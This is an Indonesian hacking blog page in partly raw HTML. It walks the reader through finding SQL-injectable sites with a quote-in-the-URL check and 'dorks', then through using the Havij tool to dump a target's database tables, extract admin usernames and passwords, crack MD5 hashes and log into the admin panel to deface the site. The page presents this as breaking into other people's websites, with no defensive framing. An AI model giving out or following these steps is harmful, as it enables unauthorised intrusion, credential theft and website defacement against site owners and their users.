www.site.com/curriculum.php?id=30' atau 
www.site.com/curriculum.php?id='30 jika ditemui tulisan seperti syntax 
error berarti web tersebut dapat kita eksekusi.</div>
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 semoga bermanfaat untuk kita semua :D</div>
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
</div>
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
</div>
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
</div>
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
</div>
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
<br />Read more: <a href="http://ramadhanlmzero.blogspot.com/2013/01/kumpulan-dork-untuk-mencari-target.html#ixzz2mx5XXA1C" style="color: #003399;">http://ramadhanlmzero.blogspot.com/2013/01/kumpulan-dork-untuk-mencari-target.html#ixzz2mx5XXA1C</a></div>
<br /></div>
</div>
</div>

Kumpulan Dork Untuk Mencari Target Deface Dengan Teknik SQL

ok kali ini saya akan memberikan contoh-contoh dork sehingga kita tahu web mana yang vuln. Berikut beberapa contoh dork yang bisa digu...

+ Read more »

Cara Deface Web Dengan Havij

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="149" src="http://1.bp.blogspot.com/-SqsrDpkKckE/UQLXILGAx2I/AAAAAAAABHo/esTBKOrHEHQ/s200/cats.jpg" width="200" /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Selamat pagi gan kali ini saya akan membagi kan <b>Cara Deface Web dengan Havij</b>   .Ini merupakan salah satu cara yang sering digunakan 
para hacker untuk menerobos masuk suatu web, yaitu menggunakan tools 
Havij.nah langsung saja jifoi0 akan menunjukkan cara menggunakan nya . simak dengan baik-baik.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: left;">
1. Silahkan buka tools Havij anda, jika belum punya bisa di download Havij versi 1.15 Free <a href="http://adf.ly/aUCY8" target="_blank">disini</a></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
2. Masukkan link target ke kolom target lalu klik "Analyze"</div>
NB : Masukkan bagian url yang berakhiran id=angka untuk di inject, bukan indexnya<br />
Contoh : www.site.com/index.asp?id=123 seperti contoh yang ada di havijnya<br />
<br />
3. Di bagian bawah, proses scan akan berjalan untuk mencari databasenya. Selama proses scanning, Havij akan berstatus <i>Analyzing Target. </i>Jika proses scan selesai, Havij akan berstatus <i>I'm IDLE.</i><br />
<i><br /></i>
4. Jika Havij sudah berstatus <i>I'm IDLE </i>tekan tables, setelah itu klik "Get DBs"<br />
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-ylk8zARXOtc/UQNY9D_PClI/AAAAAAAABLA/eWs4tpCmw_8/s1600/cats.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-ylk8zARXOtc/UQNY9D_PClI/AAAAAAAABLA/eWs4tpCmw_8/s1600/cats.jpg" /></a></div>
<br />
<br />
5. Tunggu prosesnya, jika sudah silahkan anda klik "Get Tables"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-yrM8FLb8rjc/UQNabOROpTI/AAAAAAAABLU/R5f_feC0PqI/s1600/cats.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-yrM8FLb8rjc/UQNabOROpTI/AAAAAAAABLU/R5f_feC0PqI/s1600/cats.png" /></a></div>
<br />
<br />
<br />
6. Nah disitu nanti akan ada beberapa table, coba anda tebak ada dimana 
letak admin dan passwordnya, jika anda sudah merasa menemukannya anda 
centang lalu klik "Get Column"<br />
<br />
7. Jika sudah nanti anda akan menemukan data yang anda cari seperti 
username dan password. Anda centang keduanya lalu klik "Get Data" untuk 
melihat username dan passwordnya<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-XEiT0b1Ry50/UQNeyqn8hdI/AAAAAAAABMY/tcaAgVPA2ds/s1600/cats.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-XEiT0b1Ry50/UQNeyqn8hdI/AAAAAAAABMY/tcaAgVPA2ds/s1600/cats.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
8. Selesai. Anda sudah mendapatkan username dan password target. Anda 
tinggal cari halaman login adminnya menggunakan fasilitas admin finder 
di havij tersebut. Jika password anda berupa MD5 
seperti e10adc3949ba59abbe56e057f20f883e coba anda gunakan fasilitas MD5
 untuk mencrack password itu.<br />
<br />
9. Dan kini anda sudah masuk ke admin panel web target tersebut ^_^<br />
<br />
INGAT!! Tidak semua web itu vuln, kita harus mencari target mana yang 
memiliki vulnerability dengan menggunakan dork, bisa anda cari <a href="http://jifoi0.blogspot.com/2013/12/kumpulan-dork-untuk-mencari-target.html" target="_blank">disini</a> </div>

Cara Deface Web Dengan Havij

Selamat pagi gan kali ini saya akan membagi kan Cara Deface Web dengan Havij .Ini merupakan salah satu cara yang sering digunakan ...

+ Read more »